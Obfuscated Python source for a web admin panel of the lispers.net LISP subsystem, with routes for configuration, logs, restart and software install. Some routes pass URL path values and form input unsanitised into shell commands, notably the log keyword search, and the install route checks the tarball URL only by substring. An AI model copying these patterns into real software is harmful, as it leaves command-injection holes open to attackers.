II111iiii / ooOoO0o * O0 % Ii1I * I1Ii111 i1I1ii = "" I11iII = lispconfig . lisp_is_user_superuser ( None ) if ( I11iII ) : O0o = lisp . lisp_button ( "show configuration" , "/lisp/show/conf" ) O0OOoOOO0oO = lisp . lisp_button ( "show configuration diff" , "/lisp/show/diff" ) I1ii11 = lisp . lisp_button ( "archive configuration" , "/lisp/archive/conf" ) oOoOoOoo0 = lisp . lisp_button ( "clear configuration" , "/lisp/clear/conf/verify" ) OOOOoO00o0O = lisp . lisp_button ( "log flows" , "/lisp/log/flows" ) III1ii1I = lisp . lisp_button ( "install LISP software" , "/lisp/install/image" ) Ii1i1iI = lisp . lisp_button ( "restart LISP subsystem" , "/lisp/restart/verify" ) if 16 - 16: OOooOOo / Oo0Ooo / OoooooooOO * I1IiiI + i1IIi % OOooOOo i1I1ii = "<center>{}{}{}{}{}{}{}</center><hr>" . format ( O0o , O0OOoOOO0oO , I1ii11 , oOoOoOoo0 , OOOOoO00o0O , III1ii1I , Ii1i1iI ) if 71 - 71: OoOoOO00 if 14 - 14: i11iIiiIii % OOooOOo OooO0oo = commands . getoutput ( "uptime" ) o0o0oOoOO0O = commands . getoutput ( "uname -pv" ) i1ii1II1ii = lisp . lisp_version . replace ( "+" , "" ) if 28 - 28: I1ii11iIi11i if 61 - 61: OOooOOo % OOooOOo * o0oOOo0O0Ooo / o0oOOo0O0Ooo if 75 - 75: IiII . ooOoO0o if 50 - 50: OoOoOO00 if 60 - 60: ooOoO0o * iIii1I11I1II1 * I1ii11iIi11i * Oo0Ooo O0ooooo0OOOO0 = multiprocessing . cpu_count ( ) if 9 - 9: II111iiii - o0oOOo0O0Ooo / iII111i / o0oOOo0O0Ooo I1i111iiIIIi = OooO0oo . find ( ", load" ) OooO0oo = OooO0oo [ 0 : I1i111iiIIIi ] O00 = lisp . lisp_print_elapsed ( lisp . lisp_uptime ) if 17 - 17: Ii1I - OoooooooOO % Ii1I . IiII / i11iIiiIii % iII111i iIiIIIIIii = "Not available" if 58 - 58: o0oOOo0O0Ooo / IiII . OoOoOO00 / OoooooooOO + I1Ii111 if 86 - 86: I11i * I1IiiI + I11i + II111iiii if 8 - 8: I1Ii111 - iII111i / ooOoO0o if 96 - 96: OoOoOO00 OOoOO0o0o0 = "ps auww" if lisp . lisp_is_macos ( ) else "ps aux" IIiiI = commands . getoutput ( "{} | egrep 'PID|python lisp|python -O lisp' | egrep -v grep" . format ( OOoOO0o0o0 ) ) if 31 - 31: I1ii11iIi11i + Ii1I + I1Ii111 / Ii1I if 25 - 25: OoO0O00 IIiiI = IIiiI . replace ( " " , lisp . space ( 1 ) ) IIiiI = IIiiI . replace ( "\n" , "<br>" ) if 24 - 24: IiII * i11iIiiIii * OOooOOo if 85 - 85: o0oOOo0O0Ooo . OoOoOO00 / ooOoO0o . O0 % I1Ii111 if 90 - 90: Oo0Ooo % O0 * iIii1I11I1II1 . iII111i if 8 - 8: ooOoO0o + II111iiii / iII111i / I11i if ( o0o0oOoOO0O . find ( "Darwin" ) != - 1 ) : O0ooooo0OOOO0 = O0ooooo0OOOO0 / 2 iIiIIIIIii = commands . getoutput ( "top -l 1 | head -50" ) iIiIIIIIii = iIiIIIIIii . split ( "PID" ) iIiIIIIIii = iIiIIIIIii [ 0 ] if 74 - 74: O0 / i1IIi if 78 - 78: OoooooooOO . OoO0O00 + ooOoO0o - i1IIi if 31 - 31: OoooooooOO . OOooOOo if 83 - 83: iII111i . O0 / Oo0Ooo / OOooOOo - II111iiii if 100 - 100: OoO0O00 I1i111iiIIIi = iIiIIIIIii . find ( "Load Avg" ) II1i = iIiIIIIIii [ 0 : I1i111iiIIIi ] . find ( "threads" ) Ii1IIIIi1ii1I = iIiIIIIIii [ 0 : II1i + 7 ] iIiIIIIIii = Ii1IIIIi1ii1I + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "CPU usage" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "SharedLibs:" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "MemRegions" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "PhysMem" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "VM:" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "Networks" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] I1i111iiIIIi = iIiIIIIIii . find ( "Disks" ) iIiIIIIIii = iIiIIIIIii [ 0 : I1i111iiIIIi ] + "<br>" + iIiIIIIIii [ I1i111iiIIIi : : ] else : if 13 - 13: I1IiiI % OoOoOO00 . I1ii11iIi11i / Oo0Ooo % OOooOOo . OoooooooOO if 22 - 22: IiII / i11iIiiIii if 62 - 62: OoO0O00 / I1ii11iIi11i if 7 - 7: OoooooooOO . IiII I111iI = commands . getoutput ( "top -b -n 1 | head -50" ) I111iI = I111iI . split ( "PID" ) I111iI [ 1 ] = I111iI [ 1 ] . replace ( " " , lisp . space ( 1 ) ) I111iI = I111iI [ 0 ] + I111iI [ 1 ] iIiIIIIIii = I111iI . replace ( "\n" , "<br>" ) if 53 - 53: Ii1I % Ii1I * o0oOOo0O0Ooo + OoOoOO00 if 92 - 92: OoooooooOO + i1IIi / Ii1I * O0 O00oOo00o0o = commands . getoutput ( "cat release-notes.txt" ) O00oOo00o0o = O00oOo00o0o . replace ( "\n" , "<br>" ) if 85 - 85: iII111i + OoooooooOO * iII111i - I1Ii111 % i11iIiiIii i1I1ii += ''' <br><table align="center" border="1" cellspacing="3x" cellpadding="5x"> <tr> <td width="20%"><i>LISP Subsystem Version:<br> LISP Release {} Build Date:</i></td> <td width="80%"><font face="Courier New">{}<br> {}</font></td> </tr> <tr> <td width="20%"><i>LISP Subsystem Uptime:<br>System Uptime:</i></td> <td width="80%"><font face="Courier New">{}<br> {}</font></td> </tr> <tr> <td width="20%"><i>System Architecture:<br> Number of CPUs:<font face="Courier New">{}{}</font></td> <td width="80%"><font face="Courier New">{}</font></td> </tr> <tr> <td width="20%" valign="top"><i>LISP Process Status:</i></td> <td width="80%"> <div style="height: 100px; overflow: auto"> <font size="2" face="Courier New">{}</font></div></td> </tr> <tr> <td width="20%" valign="top"><i>System Resource Utilization:</i></td> <td width="80%"> <div style="height: 200px; overflow: auto"> <font face="Courier New">{}</font></td> </tr> <tr> <td width="20%" valign="top"><i>Release Notes:</i></td> <td width="80%"> <div style="height: 300px; overflow: auto"> <font size="2" face="Courier New">{}</font></div></td> </tr> </table> ''' . format ( i1ii1II1ii , lisp . lisp_version , Oo0o , O00 , OooO0oo , lisp . lisp_space ( 1 ) , O0ooooo0OOOO0 , o0o0oOoOO0O , IIiiI , iIiIIIIIii , O00oOo00o0o ) if 71 - 71: I1ii11iIi11i - ooOoO0o / OoOoOO00 * OoOoOO00 / i1IIi . i1IIi return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 53 - 53: I1Ii111 if 21 - 21: I11i if 92 - 92: i11iIiiIii / I1Ii111 - iII111i % ooOoO0o * I1Ii111 + Oo0Ooo if 11 - 11: OoooooooOO . I1Ii111 if 80 - 80: OoooooooOO - OOooOOo * Ii1I * I1ii11iIi11i / I1IiiI / OOooOOo if 13 - 13: I1Ii111 * ooOoO0o + i11iIiiIii * I1Ii111 - ooOoO0o if 23 - 23: iIii1I11I1II1 * i1IIi % OoooooooOO * IiII @ bottle . route ( '/lisp/show/conf' ) def I1Iiiiiii ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 39 - 39: IiII * Oo0Ooo + iIii1I11I1II1 - IiII + OOooOOo return ( bottle . static_file ( "lisp.config" , root = "./" , mimetype = "text/plain" ) ) if 69 - 69: O0 if 85 - 85: ooOoO0o / O0 if 18 - 18: o0oOOo0O0Ooo % O0 * I1ii11iIi11i if 62 - 62: I1Ii111 . IiII . OoooooooOO if 11 - 11: OOooOOo / I11i if 73 - 73: i1IIi / i11iIiiIii if 58 - 58: Oo0Ooo . II111iiii + oO0o - i11iIiiIii / II111iiii / O0 @ bottle . route ( '/lisp/show/diff' ) def oOOoOo ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 89 - 89: II111iiii + i1IIi + II111iiii return ( bottle . static_file ( "lisp.config.diff" , root = "./" , mimetype = "text/plain" ) ) if 7 - 7: O0 % o0oOOo0O0Ooo + I1ii11iIi11i * iII111i - iII111i if 42 - 42: OoOoOO00 * OoOoOO00 * I1Ii111 . I11i if 51 - 51: OOooOOo % iIii1I11I1II1 - OoooooooOO % ooOoO0o * iIii1I11I1II1 % OoO0O00 if 99 - 99: oO0o * II111iiii * I1Ii111 if 92 - 92: Oo0Ooo if 40 - 40: OoOoOO00 / IiII if 79 - 79: OoO0O00 - iIii1I11I1II1 + Ii1I - I1Ii111 @ bottle . route ( '/lisp/archive/conf' ) def OoO ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 35 - 35: OoOoOO00 + i11iIiiIii - II111iiii if 15 - 15: i11iIiiIii % I1IiiI * I11i / I1Ii111 lisp . lisp_ipc_lock . acquire ( ) os . system ( "cp ./lisp.config ./lisp.config.archive" ) lisp . lisp_ipc_lock . release ( ) if 90 - 90: iII111i i1I1ii = "Configuration file saved to " i1I1ii = lisp . lisp_print_sans ( i1I1ii ) i1I1ii += lisp . lisp_print_cour ( "./lisp.config.archive" ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 31 - 31: OOooOOo + O0 if 87 - 87: ooOoO0o if 45 - 45: OoO0O00 / OoooooooOO - iII111i / Ii1I % IiII if 83 - 83: I1IiiI . iIii1I11I1II1 - IiII * i11iIiiIii if 20 - 20: i1IIi * I1Ii111 + II111iiii % o0oOOo0O0Ooo % oO0o if 13 - 13: Oo0Ooo if 60 - 60: I1ii11iIi11i * I1IiiI @ bottle . route ( '/lisp/clear/conf' ) def I1iIiI11I1 ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 27 - 27: Ii1I . i11iIiiIii % I1Ii111 if 65 - 65: II111iiii . I1IiiI % oO0o * OoO0O00 os . system ( "cp ./lisp.config ./lisp.config.before-clear" ) lisp . lisp_ipc_lock . acquire ( ) iI11I ( ) lisp . lisp_ipc_lock . release ( ) if 11 - 11: iII111i - oO0o + II111iiii - iIii1I11I1II1 i1I1ii = "Configuration cleared, a backup copy is stored in " i1I1ii = lisp . lisp_print_sans ( i1I1ii ) i1I1ii += lisp . lisp_print_cour ( "./lisp.config.before-clear" ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 7 - 7: IiII - I11i / II111iiii * Ii1I . iII111i * iII111i if 61 - 61: I11i % ooOoO0o - OoO0O00 / Oo0Ooo if 4 - 4: OoooooooOO - i1IIi % Ii1I - OOooOOo * o0oOOo0O0Ooo if 85 - 85: OoooooooOO * iIii1I11I1II1 . iII111i / OoooooooOO % I1IiiI % O0 if 36 - 36: Ii1I / II111iiii / IiII / IiII + I1ii11iIi11i if 95 - 95: IiII if 51 - 51: II111iiii + IiII . i1IIi . I1ii11iIi11i + OoOoOO00 * I1IiiI @ bottle . route ( '/lisp/clear/conf/verify' ) def OOoOoo0 ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 17 - 17: Ii1I + oO0o . OoO0O00 - Oo0Ooo * i11iIiiIii if 20 - 20: I1IiiI . OoooooooOO % OOooOOo i1I1ii = "<br>Are you sure you want to clear the configuration?" i1I1ii = lisp . lisp_print_sans ( i1I1ii ) if 63 - 63: I1IiiI % iIii1I11I1II1 I1ii = lisp . lisp_button ( "yes" , "/lisp/clear/conf" ) O00O0O = lisp . lisp_button ( "cancel" , "/lisp" ) i1I1ii += I1ii + O00O0O + "<br>" return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 19 - 19: OoO0O00 * I11i / I11i . OoooooooOO - OOooOOo + i11iIiiIii if 88 - 88: i11iIiiIii - ooOoO0o if 67 - 67: OOooOOo . Oo0Ooo + OoOoOO00 - OoooooooOO if 70 - 70: OOooOOo / II111iiii - iIii1I11I1II1 - iII111i if 11 - 11: iIii1I11I1II1 . OoooooooOO . II111iiii / i1IIi - I11i if 30 - 30: OoOoOO00 if 21 - 21: i11iIiiIii / I1Ii111 % OOooOOo * O0 . I11i - iIii1I11I1II1 if 26 - 26: II111iiii * OoOoOO00 if 10 - 10: II111iiii . iII111i def I1iOOOO ( ) : oOoO0o00OO0 = "" if 88 - 88: iII111i for iiI11I1i1i1iI in [ "443" , "-8080" , "8080" ] : OoOOo000o0 = 'ps auxww | egrep "lisp-core.pyo {}" | egrep -v grep' . format ( iiI11I1i1i1iI ) i1I1ii = commands . getoutput ( OoOOo000o0 ) if ( i1I1ii == "" ) : continue if 12 - 12: II111iiii . I11i / OOooOOo i1I1ii = i1I1ii . split ( "\n" ) [ 0 ] i1I1ii = i1I1ii . split ( " " ) if ( i1I1ii [ - 2 ] == "lisp-core.pyo" and i1I1ii [ - 1 ] == iiI11I1i1i1iI ) : oOoO0o00OO0 = iiI11I1i1i1iI break if 77 - 77: ooOoO0o - I1IiiI % I11i - O0 return ( oOoO0o00OO0 ) if 67 - 67: OOooOOo + Oo0Ooo if 84 - 84: O0 * OoooooooOO - IiII * IiII if 8 - 8: ooOoO0o / i1IIi . oO0o if 41 - 41: iII111i + OoO0O00 if 86 - 86: OoOoOO00 . iIii1I11I1II1 - OoO0O00 if 56 - 56: O0 if 61 - 61: o0oOOo0O0Ooo / OOooOOo / Oo0Ooo * O0 @ bottle . route ( '/lisp/restart' ) def iIII1i1i ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 35 - 35: II111iiii * I11i - OoooooooOO . I11i . I11i if 11 - 11: I1Ii111 / OoOoOO00 + I11i % iIii1I11I1II1 if 42 - 42: I1ii11iIi11i * OoOoOO00 % ooOoO0o - OoOoOO00 . i11iIiiIii - I1Ii111 if 84 - 84: I1Ii111 - I1ii11iIi11i / I11i if 13 - 13: IiII - Oo0Ooo - ooOoO0o if 92 - 92: ooOoO0o / OoOoOO00 * OoO0O00 . I11i % II111iiii OooOO = commands . getoutput ( "egrep requiretty /etc/sudoers" ) . split ( " " ) if ( OooOO [ - 1 ] == "requiretty" and OooOO [ 0 ] == "Defaults" ) : i1I1ii = "Need to remove 'requiretty' from /etc/sudoers" i1I1ii = lisp . lisp_print_sans ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 71 - 71: I1Ii111 % i1IIi - II111iiii - OOooOOo + OOooOOo * ooOoO0o if 51 - 51: iIii1I11I1II1 / OoOoOO00 + OOooOOo - I11i + iII111i lisp . lprint ( lisp . bold ( "LISP subsystem restart request received" , False ) ) if 29 - 29: o0oOOo0O0Ooo % iIii1I11I1II1 . OoooooooOO % OoooooooOO % II111iiii / iII111i if 70 - 70: i11iIiiIii % iII111i if 11 - 11: IiII % I1ii11iIi11i % Ii1I / II111iiii % I1Ii111 - Oo0Ooo if 96 - 96: I1ii11iIi11i / II111iiii . Ii1I - iII111i * I11i * oO0o if 76 - 76: Ii1I - II111iiii * OOooOOo / OoooooooOO oOoO0o00OO0 = I1iOOOO ( ) if 18 - 18: OoO0O00 + iIii1I11I1II1 - II111iiii - I1IiiI if 71 - 71: OoooooooOO if 33 - 33: I1Ii111 if 62 - 62: I1ii11iIi11i + Ii1I + i1IIi / OoooooooOO OoOOo000o0 = "sleep 1; sudo ./RESTART-LISP {}" . format ( oOoO0o00OO0 ) thread . start_new_thread ( os . system , ( OoOOo000o0 , ) ) if 7 - 7: o0oOOo0O0Ooo + i1IIi . I1IiiI / Oo0Ooo i1I1ii = lisp . lisp_print_sans ( "Restarting LISP subsystem ..." ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 22 - 22: ooOoO0o - ooOoO0o % OOooOOo . I1Ii111 + oO0o if 63 - 63: I1IiiI % I1Ii111 * o0oOOo0O0Ooo + I1Ii111 / Oo0Ooo % iII111i if 45 - 45: IiII if 20 - 20: OoooooooOO * o0oOOo0O0Ooo * O0 . OOooOOo if 78 - 78: iIii1I11I1II1 + I11i - Ii1I * I1Ii111 - OoooooooOO % OoOoOO00 if 34 - 34: O0 if 80 - 80: i1IIi - Oo0Ooo / OoO0O00 - i11iIiiIii @ bottle . route ( '/lisp/restart/verify' ) def OO0O0o0o0 ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 31 - 31: Ii1I if 44 - 44: OoOoOO00 - iIii1I11I1II1 - Oo0Ooo i1I1ii = "<br>Are you sure you want to restart the LISP subsystem?" i1I1ii = lisp . lisp_print_sans ( i1I1ii ) if 80 - 80: iIii1I11I1II1 * I1Ii111 % I11i % Oo0Ooo I1ii = lisp . lisp_button ( "yes" , "/lisp/restart" ) O00O0O = lisp . lisp_button ( "cancel" , "/lisp" ) i1I1ii += I1ii + O00O0O + "<br>" return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 95 - 95: iIii1I11I1II1 - I1ii11iIi11i . I1Ii111 - I1IiiI if 75 - 75: OoO0O00 + o0oOOo0O0Ooo - i1IIi . OoooooooOO * Ii1I / IiII if 86 - 86: OoOoOO00 * II111iiii - O0 . OoOoOO00 % iIii1I11I1II1 / OOooOOo if 11 - 11: I1IiiI * oO0o + I1ii11iIi11i / I1ii11iIi11i if 37 - 37: i11iIiiIii + i1IIi if 23 - 23: iII111i + I11i . OoOoOO00 * I1IiiI + I1ii11iIi11i if 18 - 18: IiII * o0oOOo0O0Ooo . IiII / O0 @ bottle . route ( '/lisp/install' , method = "post" ) def iiIII1II ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 100 - 100: Oo0Ooo % Ii1I / I11i if 30 - 30: Oo0Ooo - OOooOOo - iII111i OOO = bottle . request . forms . get ( "image_url" ) if ( OOO . find ( "lispers.net" ) == - 1 or OOO . find ( ".tgz" ) == - 1 ) : I11IIiIiI = "Invalid install request for file {}" . format ( OOO ) lisp . lprint ( lisp . bold ( I11IIiIiI , False ) ) i1I1ii = lisp . lisp_print_sans ( "Invalid lispers.net tarball file name" ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 5 - 5: Oo0Ooo * OoOoOO00 if 46 - 46: ooOoO0o if ( lisp . lisp_is_ubuntu ( ) ) : OoOOo000o0 = "python lisp-get-bits.pyo {} force 2>&1 > /dev/null" . format ( OOO ) else : OoOOo000o0 = "python lisp-get-bits.pyo {} force >& /dev/null" . format ( OOO ) if 33 - 33: iII111i - II111iiii * OoooooooOO - Oo0Ooo - OOooOOo IIiiI = os . system ( OoOOo000o0 ) if 84 - 84: I1Ii111 + Oo0Ooo - OoOoOO00 * OoOoOO00 OoooO0o = OOO . split ( "/" ) [ - 1 ] if 24 - 24: OoOoOO00 % i1IIi + iII111i . i11iIiiIii . I1ii11iIi11i if ( os . path . exists ( OoooO0o ) ) : IIi1II = OOO . split ( "release-" ) [ 1 ] IIi1II = IIi1II . split ( ".tgz" ) [ 0 ] if 2 - 2: II111iiii - OoO0O00 . IiII * iII111i / oO0o i1I1ii = "Install completed for release {}" . format ( IIi1II ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) if 80 - 80: OOooOOo / I11i / OoOoOO00 + i1IIi - Oo0Ooo i1I1ii += "<br><br>" + lisp . lisp_button ( "restart LISP subsystem" , "/lisp/restart/verify" ) + "<br>" else : I11IIiIiI = lisp . lisp_print_cour ( OOO ) i1I1ii = "Install failed for file {}" . format ( I11IIiIiI ) i1I1ii = lisp . lisp_print_sans ( i1I1ii ) if 11 - 11: o0oOOo0O0Ooo * OoO0O00 if 15 - 15: OoOoOO00 I11IIiIiI = "Install request for file {} {}" . format ( OOO , "succeeded" if ( IIiiI == 0 ) else "failed" ) lisp . lprint ( lisp . bold ( I11IIiIiI , False ) ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 62 - 62: Ii1I if 51 - 51: OoOoOO00 if 14 - 14: IiII % oO0o % Oo0Ooo - i11iIiiIii if 53 - 53: Ii1I % Oo0Ooo if 59 - 59: OOooOOo % iIii1I11I1II1 . i1IIi + II111iiii * IiII if 41 - 41: Ii1I % I1ii11iIi11i if 12 - 12: OOooOOo @ bottle . route ( '/lisp/install/image' ) def ooOo0O ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 37 - 37: Ii1I % OoO0O00 if 79 - 79: I1ii11iIi11i + I1IiiI / I1IiiI I11IIiIiI = lisp . lisp_print_sans ( "<br>Enter lispers.net tarball URL:" ) i1I1ii = ''' <form action="/lisp/install" method="post" style="display: inline;"> {} <input type="text" name="image_url" size="75" required/> <input type="submit" style="background-color:transparent;border-radius:10px;" value="Submit" /> </form><br>''' . format ( I11IIiIiI ) if 71 - 71: OOooOOo * OoO0O00 % OoooooooOO % OoO0O00 / I1IiiI return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 56 - 56: OoooooooOO % i11iIiiIii * iIii1I11I1II1 . OoO0O00 * O0 if 23 - 23: i11iIiiIii if 39 - 39: o0oOOo0O0Ooo - I1ii11iIi11i % iII111i * OoO0O00 - OOooOOo / iII111i if 29 - 29: I1ii11iIi11i if 52 - 52: i11iIiiIii / i1IIi if 1 - 1: ooOoO0o if 78 - 78: I1ii11iIi11i + I11i - O0 if 10 - 10: I1Ii111 % I1IiiI @ bottle . route ( '/lisp/log/flows' ) def oo0OoOooo ( ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 95 - 95: IiII * I1ii11iIi11i % ooOoO0o % Ii1I - Ii1I if 97 - 97: I1ii11iIi11i + iIii1I11I1II1 . O0 os . system ( "touch ./log-flows" ) if 64 - 64: i1IIi % ooOoO0o / i11iIiiIii - i1IIi % OOooOOo . iII111i i1I1ii = lisp . lisp_print_sans ( "Flow data appended to file " ) II1i111 = "<a href='/lisp/show/log/lisp-flow/100'>logs/lisp-flows.log</a>" i1I1ii += lisp . lisp_print_cour ( II1i111 ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 50 - 50: IiII % i1IIi if 21 - 21: OoooooooOO - iIii1I11I1II1 if 93 - 93: oO0o - o0oOOo0O0Ooo % OoOoOO00 . OoOoOO00 - ooOoO0o if 90 - 90: ooOoO0o + II111iiii * I1ii11iIi11i / Ii1I . o0oOOo0O0Ooo + o0oOOo0O0Ooo if 40 - 40: ooOoO0o / OoOoOO00 % i11iIiiIii % I1ii11iIi11i / I1IiiI if 62 - 62: i1IIi - OoOoOO00 if 62 - 62: i1IIi + Oo0Ooo % IiII if 28 - 28: I1ii11iIi11i . i1IIi @ bottle . route ( '/lisp/search/log/<name>/<num>/<keyword>' ) def iIIi ( name = "" , num = "" , keyword = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 96 - 96: iII111i if 18 - 18: iII111i * I11i - Ii1I OOoOO0o0o0 = "tail -n {} logs/{}.log | egrep -B10 -A10 {}" . format ( num , name , keyword ) i1I1ii = commands . getoutput ( OOoOO0o0o0 ) if 31 - 31: Oo0Ooo - O0 % OoOoOO00 % oO0o if ( i1I1ii ) : iI1iii = i1I1ii . count ( keyword ) i1I1ii = lisp . convert_font ( i1I1ii ) i1I1ii = i1I1ii . replace ( "--\n--\n" , "--\n" ) i1I1ii = i1I1ii . replace ( "\n" , "<br>" ) i1I1ii = i1I1ii . replace ( "--<br>" , "<hr>" ) i1I1ii = "Found <b>{}</b> occurences<hr>" . format ( iI1iii ) + i1I1ii else : i1I1ii = "Keyword {} not found" . format ( keyword ) if 87 - 87: I1ii11iIi11i / OoooooooOO - Oo0Ooo % OoOoOO00 % IiII % Oo0Ooo if 29 - 29: OoooooooOO . I1IiiI % I1ii11iIi11i - iII111i if 8 - 8: i1IIi if 32 - 32: oO0o / II111iiii if 45 - 45: I1ii11iIi11i + OoO0O00 * i11iIiiIii / OOooOOo % I11i * O0 i1o0oooO = "<font color='blue'><b>{}</b>" . format ( keyword ) i1I1ii = i1I1ii . replace ( keyword , i1o0oooO ) i1I1ii = i1I1ii . replace ( keyword , keyword + "</font>" ) if 89 - 89: II111iiii / oO0o i1I1ii = lisp . lisp_print_cour ( i1I1ii ) return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 14 - 14: OOooOOo . I1IiiI * ooOoO0o + II111iiii - ooOoO0o + OOooOOo if 18 - 18: oO0o - o0oOOo0O0Ooo - I1IiiI - I1IiiI if 54 - 54: Oo0Ooo + I1IiiI / iII111i . I1IiiI * OoOoOO00 if 1 - 1: OoOoOO00 * OoO0O00 . i1IIi / Oo0Ooo . I1ii11iIi11i + Oo0Ooo if 17 - 17: Oo0Ooo + OoO0O00 / Ii1I / iII111i * OOooOOo if 29 - 29: OoO0O00 % OoooooooOO * oO0o / II111iiii - oO0o if 19 - 19: i11iIiiIii @ bottle . post ( '/lisp/search/log/<name>/<num>' ) def oo0oOO ( name = "" , num = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 32 - 32: OoOoOO00 * I1IiiI % ooOoO0o * Ii1I . O0 if 48 - 48: iII111i * iII111i I1I1 = bottle . request . forms . get ( "keyword" ) return ( iIIi ( name , num , I1I1 ) ) if 4 - 4: o0oOOo0O0Ooo % OoOoOO00 * OOooOOo if 32 - 32: i11iIiiIii - I1Ii111 if 53 - 53: OoooooooOO - IiII if 87 - 87: oO0o . I1IiiI if 17 - 17: Ii1I . i11iIiiIii if 5 - 5: I1ii11iIi11i + O0 + O0 . I1Ii111 - ooOoO0o if 63 - 63: oO0o @ bottle . route ( '/lisp/show/log/<name>/<num>' ) def Oo0 ( name = "" , num = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 79 - 79: OoO0O00 % OOooOOo / iIii1I11I1II1 + OoOoOO00 * OoO0O00 if 30 - 30: OoooooooOO / I11i + iII111i / I1ii11iIi11i * O0 if 16 - 16: Oo0Ooo / i11iIiiIii if 64 - 64: i11iIiiIii / Ii1I * i1IIi if 73 - 73: Oo0Ooo - OoOoOO00 - oO0o - I1IiiI if ( num == "" ) : num = 100 if 65 - 65: o0oOOo0O0Ooo I1ii1II1iII = ''' <form action="/lisp/search/log/{}/{}" method="post"> <i>Keyword search:</i> <input type="text" name="keyword" /> <input style="background-color:transparent;border-radius:10px;" type="submit" value="Submit" /> </form><hr> ''' . format ( name , num ) if 8 - 8: OoOoOO00 / O0 * O0 % I1Ii111 - Oo0Ooo + I11i if ( os . path . exists ( "logs/{}.log" . format ( name ) ) ) : i1I1ii = commands . getoutput ( "tail -n {} logs/{}.log" . format ( num , name ) ) i1I1ii = lisp . convert_font ( i1I1ii ) i1I1ii = i1I1ii . replace ( "\n" , "<br>" ) i1I1ii = I1ii1II1iII + lisp . lisp_print_cour ( i1I1ii ) else : oo = lisp . lisp_print_sans ( "File" ) Ii1IiIiIi1IiI = lisp . lisp_print_cour ( "logs/{}.log" . format ( name ) ) i1iiIIi1I = lisp . lisp_print_sans ( "does not exist" ) i1I1ii = "{} {} {}" . format ( oo , Ii1IiIiIi1IiI , i1iiIIi1I ) if 36 - 36: I1IiiI * Oo0Ooo return ( lispconfig . lisp_show_wrapper ( i1I1ii ) ) if 77 - 77: oO0o % i1IIi - Ii1I if 93 - 93: OoO0O00 * Oo0Ooo if 73 - 73: o0oOOo0O0Ooo - I1IiiI * i1IIi / i11iIiiIii * OOooOOo % II111iiii if 56 - 56: OoooooooOO * Oo0Ooo . Oo0Ooo . I1ii11iIi11i if 24 - 24: Oo0Ooo . I11i * Ii1I % iII111i / OOooOOo if 58 - 58: I1IiiI - I1ii11iIi11i % O0 . I1IiiI % OoO0O00 % IiII if 87 - 87: oO0o - i11iIiiIii @ bottle . route ( '/lisp/debug/<name>' ) def ooOoO ( name = "" ) : if ( lispconfig . lisp_validate_user ( ) == False ) : return ( oOO00O ( ) ) if 23 - 23: I11i if 40 - 40: o0oOOo0O0Ooo - II111iiii / Oo0Ooo if 14 - 14: I1ii11iIi11i if 5 - 5: o0oOOo0O0Ooo . iIii1I11I1II1 % iIii1I11I1II1 if 56 - 56: OoooooooOO - I11i - i1IIi if ( name == "disable%all" ) : IIIi1i1I = lispconfig . lisp_get_clause_for_api ( "lisp debug" ) if ( IIIi1i1I [ 0 ] . has_key ( "lisp debug" ) ) : OoO0OOOOo0O = [ ] for I1i1I in IIIi1i1I [ 0 ] [ "lisp debug" ] : iii1I1Iii = I1i1I . keys ( ) [ 0 ] OoO0OOOOo0O . append ( { iii1I1Iii : "no" } ) if 82 - 82: Ii1I + IiII OoO0OOOOo0O = { "lisp debug" : OoO0OOOOo0O } lispconfig . lisp_put_clause_for_api ( OoO0OOOOo0O ) if 12 - 12: I1Ii111 if 93 - 93: i11iIiiIii % iIii1I11I1II1 % i11iIiiIii + o0oOOo0O0Ooo / o0oOOo0O0Ooo / II111iiii 